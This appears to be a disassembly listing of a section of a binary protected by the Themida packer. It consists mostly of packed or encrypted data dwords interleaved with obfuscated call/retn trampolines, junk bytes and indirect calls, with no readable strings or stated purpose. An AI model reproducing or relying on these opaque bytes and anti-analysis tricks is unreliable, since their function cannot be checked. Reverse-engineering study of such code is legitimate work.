		dd 0F84E33FAh, 0C82D28D2h, 207D285Fh, 78BE700Eh, 24596C9Eh
		dd 24596C0Ah, 207D28DCh, 9EBE78A2h, 307C1EFDh, 0EDE0A1EBh
		dd 0A97AF96Dh, 0F158E5ABh, 95F8EE10h, 677AF9BAh, 13F8BD4Eh
		dd 93152F33h, 70AC869Fh, 2070C0EAh, 512C285Ch, 0AFA0E062h
		dd 2B62A3C7h, 7FE04BD4h, 0AB1B19CAh, 0A1257213h, 13670C45h
		dd 20174EC8h, 207EC00Ah, 7E5D282Eh, 54F476D4h, 64FC2CAFh
		dd 20652CE1h, 763B28E2h, 4F3ADEB2h, 2795804Eh, 0A37D285Ch
		dd 165B4AFCh, 95F6183Ch, 27AC2892h, 11C8D79Fh, 4A7AF9EAh
		dd 23957E71h, 7D28B8h, 0A923EB02h, 0A1790C5Ah, 36790C53h
		dd 667D288Bh, 74B6EB93h, 0CAF8A5A5h, 0A97AFCD7h, 0F169590Dh
		dd 4AADD75Bh, 23957A2Eh, 7D2817h, 0A927EBD1h, 0A1790C91h
		dd 3C790CA6h, 627D2871h, 0E238EBEAh, 0FC7FAAB6h, 0A92ECD75h
		dd 0F14FE992h, 757D428Ch, 207D2B2Dh, 0E32008E2h, 411A12Ch
		dd 439A9BCh, 207D3358h,	0E3286D2Eh, 0BB768396h,	0DA706D08h
		dd 719B4E7Ah, 0A11B68BCh, 0ABB2C2BBh, 707D42B8h, 207D2BB4h
		dd 0E325082Eh, 439A14Fh, 439A98Fh, 207D33C1h, 0E32D68E2h
		dd 0D36D4912h, 0A5A1DCACh, 0D0F728D7h, 3F4CADA7h, 20172FC6h
		dd 207EC0DEh, 7D5D28C5h, 4CF47521h, 64FC2C55h, 20602C9Ch
		dd 7538285Ch, 0A21500EDh, 0E93A09Fh, 4609EEE5h,	4074D77Fh
		dd 30B4AD69h, 0A5F42FA0h, 27AC3555h, 2123C13Dh,	2017282Eh
		dd 207EC047h, 785D288Bh, 64F47006h, 64FC2CC6h, 206A2C55h
		dd 703D28B8h, 708E249Fh, 0AD1F9192h, 0A5F0551Eh, 27A9C2FFh
		dd 0C82D28AFh, 207D28E1h, 78BE7051h, 24596C31h,	24596CDDh
		dd 207D2834h, 53BE7857h, 1A1273F5h, 0FAFCE1A4h,	1C043B94h
		dd 207EA47Eh, 0AB1B28B8h, 0AA7278A6h, 207D2820h, 207AC177h
		dd 0E1F4288Bh, 0F949311Eh, 24F44900h, 757D4255h, 207D2B50h
		dd 0E320085Ch, 411A173h, 439A913h, 207D318Fh, 0E3286DC5h
		dd 1B731EC1h, 0A985DC72h, 0F160D935h, 8DE8D75Bh, 0C97AF91Ch
		dd 207D2811h, 0AF66A5BEh, 9D54D00Bh, 27AC0983h,	0CA07B5FCh
		dd 0A02B2F6Ch, 70227CAEh, 3CF4D0A5h, 34954833h,	327D288Bh
		dd 7A1CE555h, 2C71EE54h, 0B94AA203h, 1CEEC382h,	2FA0FA68h
		dd 0C923E299h, 207D2810h, 58877EE8h, 41E0140Fh,	722D4872h
		dd 0E6ED2BC8h, 0C94C27FFh, 207D2852h, 536B2BD3h, 486A31Bh
		dd 8DBF6E6Eh, 7827177Ah, 232A9284h, 0AB1B7810h,	0CDFDB84Bh
		dd 25E8D7F8h, 0C87AF93Eh, 207D281Fh, 0E465F9C4h, 0A04B6523h
		dd 0D40BDE3h, 0A9222FA0h, 0F1563D3Dh, 767D425Bh, 207D2BC6h
		dd 0E3230817h, 409A1D5h, 439A9C1h, 207D33E6h, 0E32B6E71h
		dd 5ADB3836h, 165FFB25h, 11C8ADE8h, 0A92E2FC6h,	0F17BC10Eh
		dd 2079C0C2h, 0A40228E2h, 9F1B82F6h, 0AB2DA688h, 0C8790C18h
		dd 207D2829h, 46D20792h, 465E78CBh, 0AB27E64Eh,	2F2F78E2h
		dd 0A9257240h, 78790CFCh, 3C00A5D7h, 95822FFFh,	27AC2026h
		dd 0BF49D00h, 0A5F02F14h, 27A98E08h, 5721C7F0h,	0F0825A7Bh
		dd 0C82B2836h, 207D282Dh, 7EBE7637h, 24595C02h,	24596C44h
		dd 207D28F9h, 31BE7E37h, 2AC832EFh, 9AB386DDh, 6577B7D1h
		dd 3D94AD9Eh, 20172F5Ah, 207EC096h, 7B5D28E2h, 7CF473B2h
		dd 64FC2C9Ch, 20692C78h, 733E282Eh, 2C943CD4h, 0C07D288Bh
		dd 30A1197Ch, 6F51886h,	0E64FA0CDh, 0F14C9D3Dh,	48886F5Bh
		dd 4DE1422Ch, 24FCF89Ch, 0F5D6A6AFh, 777D42F6h,	207D2B0Ah
		dd 0E3220871h, 401A1E7h, 439A958h, 207D3D2Ah, 0E32A6F17h
		dd 95824317h, 27AC20F4h, 0C8282888h, 207D2872h,	7DBE7598h
		dd 245944D5h, 24596CAFh, 207D2801h, 7BE7DCEh, 0A11B6E9Eh
		dd 0C9616335h, 207D287Dh, 0FD91460Ch, 6E868D57h, 4191FAD3h
		dd 8697AD9Ah, 20172F5Fh, 207EC090h, 7D5D28E2h, 4CF475B2h
		dd 64FC2C9Ch, 20682C78h, 7538282Eh, 2370F2D4h, 0F158DD3Eh
		dd 0F6C74EC2h, 46ADD744h, 0A9C680CFh, 0F14C8D3Dh, 727D425Bh
		dd 207D2BC6h, 0E3270817h, 429A1D1h, 439A9C1h, 207D31E6h
		dd 0E32F6A71h, 0A459C45Fh, 4AC282C7h, 0E606F11Ch, 0F14C9D92h
		dd 20177B8Ch, 207EC090h, 7D5D28E2h, 4CF475B2h, 64FC2C9Ch
		dd 20672C78h, 7538282Eh, 43401AD4h, 0D902EEB0h,	0D2CA5ECh
		dd 93152F33h, 402D5B0Eh, 60B392DEh, 207D3CB5h, 8B52292Eh
		dd 8C24A09Eh, 21B018C4h, 4E951338h, 0D598C57Ah,	24FC4942h
		dd 0E5A2F59Ch, 767D4214h, 207D2BC6h, 0E3230817h, 409A1D5h
		dd 439A9C1h, 207D30E6h,	0E32B6E71h, 0A803E6C5h,	11C8D7E8h
		dd 4A7AF926h, 23957E17h, 7D288Bh, 0A923EB9Bh, 0A1790C96h
		dd 37790C35h, 667D28B8h, 0EC81EB0Ah, 9D4E1319h,	27AC2802h
		dd 207D3862h, 0EEB5EFC5h, 0F5DE9801h, 0F9F34E24h, 0D1D798CCh
		dd 0CAF8A57Dh, 2F7AFC88h, 0F082FAA0h, 38289D8Ah, 0A11B2F14h
		dd 0A9A3012Dh, 0F16529F4h, 5DE8A1BFh, 997AF94Fh, 3C856B42h
		dd 11C8ADD1h, 0C92A2F5Ah, 207D28CFh, 0CB1E85DCh, 2A4B9FABh
		dd 2495E07Ch, 267D285Ch, 70ED2C7Ch, 2F89A245h, 36F927BAh
		dd 0C87D28C5h, 207D28F2h, 0B4FE744Dh, 0BD685DEEh, 0E37757DDh
		dd 0C31BD6Dh, 70257249h
		dd 0A4E25D31h, 439A387h, 0D0F64EE6h, 0A47228FAh, 207D28A6h
		dd 2F2F783Ch, 0C925721Fh, 207D2806h, 0E71CB83Dh, 0DA3EDA5Bh
		dd 87030F41h, 137FCB71h, 64F449FBh, 462B2C78h, 7827E3A5h
		dd 0D94D17AEh, 11C8D7D2h, 0A17AF9CDh, 81ED3E35h, 0CAF8A53Eh
		dd 4A7AFC1Eh, 23957D5Ch, 7D282Eh, 0A920EB4Ah, 0A1790CE7h
		dd 39790C81h, 657D28E2h, 8505EB24h, 0B534A1F2h,	393CB56Dh
		dd 0F0822FFFh, 0C82E287Dh, 207D2888h, 7BBE73E5h, 2459746Bh
		dd 24596CF0h, 207D28AFh, 0F4BE7B1Fh, 4626C1B7h,	61AEE996h
		dd 3460AD02h, 20172F14h, 207EC0B7h, 7D5D2871h, 4CF4757Bh
		dd 64FC2C78h, 20662C0Ah, 75382817h, 3F510A48h, 0CBB3E827h
		dd 95F8EEC5h, 637AF940h, 0C82C28D2h, 207D285Fh,	79BE710Eh
		dd 2459649Eh, 24596C0Ah, 207D28DDh, 78BE79A3h, 0E828A779h
		dd 207D3B51h, 238E855Ch, 9DA07E42h, 0A8224251h,	0D6D6EED4h
		dd 19C6F599h, 548B56Bh,	3F152FA0h, 2F3B3F37h, 207D28D0h
		dd 479A92Eh, 5605C91Eh,	0C82D28E1h, 207D28C6h, 78BE70C2h
		dd 24596CF8h, 24596C39h, 207D2845h, 0C7BE786Eh,	0CC8090F5h
		dd 4DF00B11h, 0AB7AF9F6h, 11C8D72Ch, 0A97AF979h, 0F1685935h
		dd 0CAF8A55Bh, 4A7AFC88h, 23957D17h, 7D288Bh, 0A920EB98h
		dd 0A1790C8Eh, 34790C35h, 657D28B8h, 2117EB09h,	0F14D9DBBh
		dd 76ADD710h, 9DF8A1EBh, 0A07AF9E8h, 7E1CDF3Eh,	3704ADF8h
		dd 20172F69h, 207EC00Ah, 7E5D282Eh, 54F476D4h, 64FC2CAFh
		dd 20682CE1h, 763B28E2h, 9B06DB2h, 0F16B0105h, 4AF8A55Bh
		dd 4A7AFCC4h, 23957917h, 7D288Bh, 0A924EB9Ch, 0A1790CAEh
		dd 3B790C35h, 617D28B8h, 0DCCFEB0Dh, 5D1704D1h,	0A11B3A93h
		dd 0B07D2B49h, 0D6C74E95h, 2017B8D0h, 207EC027h, 7E5D28B8h
		dd 54F4769Fh, 64FC2C0Ah, 20652C33h, 763B288Bh, 13FF3D06h
		dd 0B5825221h, 27AC1ADCh, 0C82A28D2h, 207D285Fh, 7FBE770Eh
		dd 2459549Eh, 24596C0Ah, 207D28DFh, 57BE7FA5h, 3858FD7h
		dd 0A91D1AD7h, 0F154E9D1h, 0B5E00129h, 417AF901h, 2017F000h
		dd 207EC092h, 7F5D28E2h, 5CF477B2h, 64FC2C9Ch, 20692C78h
		dd 773A282Eh, 0CEFD6AD4h, 7EF8A56Ah, 4A7AFC2Fh,	23957FE2h
		dd 7D2871h, 0A922EBE7h,	0A1790C20h, 38790C6Ah, 677D2817h
		dd 78CBEBDCh, 0A185B40Fh, 0A7283C34h, 952CB82Bh, 0B02D718Eh
		dd 0C8282836h, 207D282Dh, 7DBE7537h, 24594402h,	24596C44h
		dd 207D28F6h, 5BBE7D34h, 40B2A3DEh, 0E58A555h, 2B952FFFh
		dd 0A87D2817h, 0DEF873B7h, 1CC4DD8Eh, 289444F8h, 87D2871h
		dd 73B3D034h, 79B5D7A4h, 0C82DBB4Fh, 207D2804h,	0CAEDD17Dh
		dd 17B4E08Dh, 0D2A42ECh, 4CA47E21h, 7AFAE65Ch, 0B582DDCFh
		dd 27AC382Bh, 207D26FFh, 0AF29F8Bh, 2CAA3D22h, 66CC38ADh
		dd 0AB80EF27h, 0F160610Dh, 0A5F4725Bh, 27AC29EBh, 2FE89516h
		dd 29942F5Ah, 307D28C5h, 0E0BA2BDEh, 7E78BA0Ch,	7CAD7Fh
		dd 20722F8Dh, 0ADF6282Eh, 27AC0AAAh, 21B8BD74h,	0A5F42F14h
		dd 27AC08DFh, 0C5CA5FAh, 0A5F62F69h, 27AC3D4Dh,	0DD87B5A3h
		dd 63F42FC3h, 59C0A58Ah, 0AD7AF9E2h, 0F480FC57h, 204E9176h
		dd 848E28B8h, 20C51BB7h, 2B7D282Eh, 0E27E5CD7h,	64F62893h
		dd 0C82E24E1h, 207D28E2h, 37BEA92Ah, 0A97D28B8h, 0A96D0C00h
		dd 7B690C6Ah, 92871FAFh, 0AB9DD78Bh, 0DF790C81h, 0C88DA302h
		dd 207D2874h, 487F7E23h, 0DEF64E40h, 20174977h,	207EC047h
		dd 785D288Bh, 64F47006h, 64FC2CC6h, 20612C55h, 703D28B8h
		dd 2377979Fh, 9AE8D19Bh, 9DF05D3Ah, 27A9C2D5h, 0DE25A548h
		dd 15C52F36h, 13E50EDAh, 0F14F393Dh, 0E1B2035Bh, 20201748h
		dd 0B8207EC0h, 9F795D28h, 0A6CF471h, 3364FC2Ch,	8B20612Ch
		dd 0E9833C28h, 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 2D1742CEh
		dd 25D44F10h, 3C99D29h,	65E907D1h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C09FC357h, 47C6AE5h, 22E3E081h, 0FE960h, 55520000h
		dd 0ADF0FC3Dh, 0CC8E03B5h, 3E5A1909h, 0A2B86604h, 61F96109h
		dd 0E7816060h, 25D0A7BDh, 61C4B261h, 0F560C3F9h, 8E8h
		dd 83090600h, 0F699CB73h, 0E28166A2h, 615A61ADh, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 3C2397C3h, 24C287A4h, 0F931EC82h, 3405BD83h,	750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0B9B8C08Bh, 89000004h
		dd 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0B9B85350h, 89000004h, 0D1201185h, 0B89D8D07h
		dd 0FF07D3DEh, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0BAD1C353h,	7E932A1h
		dd 14000000h, 0ABE67AC5h, 6E95256h, 76000000h, 0FA17A914h
		dd 6AC08B0Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 897C351h, 13E9F4h, 62580000h
		dd 0E1491DA4h, 0B1B0A188h, 238E10E6h, 63645125h, 7E9D0h
		dd 0B8210000h, 9B0645B2h, 0C18B40FCh, 2BB1B58Bh, 4EB07D1h
		dd 0
; ---------------------------------------------------------------------------
		jb	loc_5C665F
		jmp	loc_5C665F
; ---------------------------------------------------------------------------
		stosd
		movsd
		pop	ebx
		dec	esp
		mov	edx, 0CA17B91Eh
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 5FD0h
		db 9Eh,	9Ah, 0D5h
; ---------------------------------------------------------------------------


loc_5C665F:				; CODE XREF: Themida_:005C6644j
					; Themida_:005C664Aj
		push	0
		push	eax
		call	sub_5C666A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C666A	proc near		; CODE XREF: Themida_:005C6662p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C666A	endp

; ---------------------------------------------------------------------------
		dw 4E73h
		dd 8D68E8E5h, 0D1136185h, 0FDB58B07h, 5007D120h, 89F98B66h
		dd 0BE92404h, 1000000h,	0DD520290h, 5AA3BF81h, 6ADC00h
		dd 6A006AF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 66EFC355h, 8D2A6800h, 0D501A285h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 25A6A51Ch, 199D2926h, 8907D115h,	0D1270D9Dh
		dd 5C08307h, 0EE95090h,	9A000000h, 0A52A0566h, 906A21E4h
		dd 2941C635h, 6A90E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1D987EC3h, 0D7818695h, 434EBDA3h
		dd 2C11B58Bh, 6A07D1h, 2F1D8D89h, 6A07D1h, 0E195FFF8h
		dd 0F07D11Dh, 682h, 91BD0B00h, 8D07D100h, 0D4D5669Dh, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 34406A71h, 75BD8Bh, 0D3FF07D1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0F2C35343h,	0A8EF8239h, 84F943Ah
		dd 85896056h, 7D13119h,	16999503h, 5E6107D1h, 0C84CBF66h
		dd 292185FFh, 860F07D1h, 14h, 8E8h, 48275D00h, 64987F9Fh
		dd 5DBD8B38h, 5F07D127h, 709E9h, 0E800h, 815D0000h, 0D501ACEDh
		dd 0BE807h, 54870000h, 9D84F6E3h, 6D96B73Ah, 8D0950B2h
		dd 7D130A9h, 0B58B5E5Eh, 7D13055h, 2001BD81h, 7D007D1h
		dd 860F0000h, 16Ah, 3B42E3BEh, 0E59D8B46h, 8B07D120h, 0D128D9B5h
		dd 0E38107h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 72CFC350h, 36AF3F7Bh
		dd 0F88B6632h, 31558D89h, 0DB0B07D1h, 0A7850Fh,	0BD8B0000h
		dd 7D12F11h, 2BD83h, 0F0007D5h,	5884h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0BE695405h, 0F78B66E8h, 98E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0A9B39A64h
		dd 0C6816634h, 6E97AF2h, 10000000h, 886CBD13h, 285C7C2h
		dd 107D500h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 331CC356h, 2126E735h
		dd 0F2FCC94h, 32E9F9B7h, 1000000h, 0D12F3D9Dh, 285C707h
		dd 7D500h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5D57C357h, 51BF6663h, 0E59D8D47h
		dd 0F07D120h, 1185h, 0CE900h, 4A3B0000h, 4ACBEE4Fh, 0F5DB5D7Fh
		dd 23815AC9h, 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 63C35141h, 0E984824Ch, 0F18B8758h, 7C98589h
		dd 8C6607D1h, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9EC3A50h,	0BF668079h, 0C3F6AA38h
		dd 62840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0C853C356h,	0CC0E816Ah
		dd 0A1B58B89h, 0FF07D113h, 0D101C595h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 1B86A754h, 90FFB70Fh, 0F88B6650h, 0BA666090h, 8D8B198Fh
		dd 7D1111Dh, 3FDE961h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 368D5EC3h, 5E9C0h, 4EDB0000h
		dd 0B079BB1Dh, 10870F00h, 0E9000000h, 0Bh, 9A5ABD89h, 9D72D1C9h
		dd 0E615ED88h, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 189EED73h, 0F259960Bh
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0B9A8C4C3h, 9D8982A9h, 7D1247Dh, 6AD8B60Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 96A6C355h, 0E9E7E1CEh, 0Bh, 4FA557D2h, 0F4A6F213h
		dd 0BACE97F6h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	14C35646h, 94042176h, 0D71404A1h, 1DB58975h, 8B07D127h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 858942E1h, 7D11475h, 3304E8C1h, 0D10709B5h
		dd 0E2F76607h, 6860Fh, 0B58B0000h, 7D11FF9h, 8B50D82Bh
		dd 241C89F8h, 0ABB5BF66h, 2001B5FFh, 0B58B07D1h, 7D12219h
		dd 5595FFh, 800F07D1h, 19h, 14E9h, 0A27C0800h, 0D139C3C8h
		dd 51147EC2h, 7C9921E5h, 20EFCA5Dh, 0B0F08B57h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 2FCEBCACh, 0E9B1141Eh, 12h, 95D7B4BEh, 0F2321588h, 7FBB2B6Fh
		dd 3A219484h, 70E63123h, 0E9F08B66h, 11h, 45A9FBDh, 7D399757h
		dd 0BCCE8B11h, 0CC847790h, 6A71E4BFh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 863AC352h
		dd 0D64CB7F0h, 0BE0EA74Ch, 34B796FBh, 830F613Ch, 207h
		dd 329DB529h, 0B60F07D1h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C9E68870h
		dd 32D2B3D5h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0D5B1D146h, 8BC38BABh
		dd 0D110F9B5h, 4E8C107h, 68E0Fh, 85890000h, 7D10081h, 66E2F766h
		dd 2B7056BFh, 6A58D8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 666433C3h, 29FB0FBFh, 0D120FD8Dh
		dd 0FD82B07h, 16688h, 7B900h, 0BF0F0000h, 0C183FEh, 16B5B529h
		dd 0D93B07D1h, 14D860Fh, 29520000h, 0D10ECD9Dh,	8C665F07h
		dd 7DB58BD9h, 0F607D119h, 840F04C1h, 0EBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 34C35141h, 536AE2D9h
		dd 0B9719414h, 0C595FF70h, 6A07D101h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D034C350h
		dd 6A5BE6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FBB850C3h, 0BD9D89D3h, 2B07D131h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 5653139Eh, 5FF0BF0Fh, 8343Dh, 4C860F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0BB5EC350h, 2F59BD8Bh, 6CE907D1h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EE8DC350h, 66803399h, 8B71F9BFh,	50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6ED1ADD4h, 8B0FCE07h, 0Bh, 58C0Fh, 81660000h, 0E9A9E4DFh
		dd 0Fh,	3458F021h, 8B1B090Eh, 5C339578h, 8B42A668h, 6AD88BC3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BA13C357h, 0CB9A4CBBh, 243A5846h, 1C099D29h
		dd 85C707D1h, 7D103CDh,	7F6EDD1Bh, 0F05BD2Bh, 0C08B07D1h
		dd 4FCE8166h, 1BD814Fh,	0D007D120h, 0F000007h, 3285h, 185FF00h
		dd 6A07D120h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E39CC355h, 0F1B70F51h, 1890F5Fh,	0F9000000h
		dd 0FFFAB70Fh, 0D12001B5h, 8D8B6007h, 7D11A19h,	0ED850961h
		dd 0FF07D106h, 0D1005595h, 71B52907h, 9007D130h, 345678B8h
		dd 0DE816612h, 890FCD91h, 5, 93A14EBEh,	8A9D8D50h, 0E907D508h
		dd 0FFFFF8FDh, 208DB58Bh, 0C18B07D1h, 13E9h, 0ABEDAE00h
		dd 65CED2D7h, 0DD4A71A7h, 39F0C809h, 19171E70h,	4EBh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2F6BACC3h, 14C3F5F5h, 33E5F044h, 0D12601B5h,	91B58B07h
		dd 5607D114h, 61858D5Fh, 6A07D113h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1E6FC352h
		dd 22EFAD4h, 58CBA4D0h,	28B4E681h, 505000BCh, 6850Fh, 8D0F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		mov	[esp], eax
		jmp	loc_5C6F9A
; ---------------------------------------------------------------------------
		db 4Bh,	0F3h, 61h
		dd 9FDEC540h, 6AC7FDB5h, 0B807C8C6h
; ---------------------------------------------------------------------------
		test	al, 6Dh


loc_5C6F9A:				; CODE XREF: Themida_:005C6F84j
		push	0
		movsx	esi, dx
		push	0
		or	si, 4DEFh
		lea	eax, [ebp+7D50A20h]
		mov	[ebp+7D108C1h],	ecx
		add	eax, 5
		movsx	edi, di
		push	eax
		mov	di, 0EC20h
		mov	[esp], eax
		jmp	loc_5C6FCB
; ---------------------------------------------------------------------------
		inc	ecx
		retn	3D8Eh
; ---------------------------------------------------------------------------
		cmpsd
		cdq


loc_5C6FCB:				; CODE XREF: Themida_:005C6FC0j
		push	0
		push	0
		push	edi
		mov	[ebp+7D118F1h],	esi
		pop	edi
		call	dword ptr [ebp+7D11DE1h]
		push	0
		push	edx
		call	sub_5C6FE8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6FE8	proc near		; CODE XREF: Themida_:005C6FE0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C6FE8	endp

; ---------------------------------------------------------------------------
		dd 8166388Fh, 66191AF6h, 8DDFD1BFh, 0D4D5669Dh,	0E95F5107h
		dd 11h,	6564A3F1h, 8AED87D5h, 0AC8D2CF8h, 19EAC323h, 8BD3FFC5h
		dd 0D12C91BDh, 2185FF07h, 6A07D129h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 129EC353h
		dd 68F0Fh, 8D890000h, 7D12739h,	1875B509h, 23E907D1h, 0E800000Fh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D50A2Ah
		jmp	loc_5C707C
; ---------------------------------------------------------------------------
		dec	edx
		xchg	eax, edi
		mov	dl, 0BAh
		add	al, 37h
		jecxz	short loc_5C70E7


loc_5C707C:				; CODE XREF: Themida_:005C706Fj
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C7227
		jmp	loc_5C70A3
; ---------------------------------------------------------------------------
		db 25h,	0ABh, 4Fh
		dd 0C05436B9h, 23D22A40h, 236B1089h
		db 0B0h, 63h, 3Ch
; ---------------------------------------------------------------------------


loc_5C70A3:				; CODE XREF: Themida_:005C708Cj
		mov	ebx, [ebp+7D125A9h]
		push	0
		push	edi
		call	sub_5C70B4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C70B4	proc near		; CODE XREF: Themida_:005C70ACp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C70B4	endp

; ---------------------------------------------------------------------------
		dd 14D11384h, 0E5B52962h, 8107D117h, 100E3h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh
; ---------------------------------------------------------------------------
		add	al, 81h
		inc	esp


loc_5C70E7:				; CODE XREF: Themida_:005C707Aj
		and	al, 4
		sbb	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 0C3564600h, 120AACDEh, 3662C28Dh, 89BD2B8Fh,	0B07D11Bh
		dd 9E850FDBh, 83000000h, 0D508CCBDh, 840F0007h,	5Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1DC35343h, 9589FF81h
		dd 7D1084Dh, 0A4E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E91A4E4Eh, 13h, 0E4672A0Fh
		dd 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 0C742E3C0h, 0D508CC85h
		dd 107h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E9AECF6Ch, 41h, 0CC8BF1BFh, 0CC85C73Ah
		dd 7D508h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9E3EC353h, 600E182Bh, 8D0Fh, 0BD2B0000h
		dd 7D10669h, 6CBF6661h,	0A99D8DAEh, 6007D125h, 68A0Fh
		dd 0B5890000h, 7D12155h, 1CE98D29h, 816107D1h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 67B7C1CDh, 0B5E681EBh
		db 48h,	0CAh, 74h
; ---------------------------------------------------------------------------


loc_5C7227:				; CODE XREF: Themida_:005C7086j
		mov	bx, ds
		push	0
		push	eax
		call	sub_5C7235
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7235	proc near		; CODE XREF: Themida_:005C722Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C7235	endp

; ---------------------------------------------------------------------------
		mov	al, ds:94390CE9h
		test	[ebx-4185236Dh], cl
		mov	eax, 0F627C7E7h
		retn
; ---------------------------------------------------------------------------
		dw 0F04h
		dd 6384h, 8A0F6000h, 1,	850157F5h, 7D11421h, 95FF6159h
		dd 7D101C5h, 289BD89h, 0F5007D1h, 48Eh,	5E535000h, 2404895Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 68C35747h
		dd 9D8937AEh, 7D117A5h,	0FE9h, 0F8A08800h, 0E3EBAA02h
		dd 24E6CDFFh, 444E1026h, 44AE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B05CCCh, 26B96660h
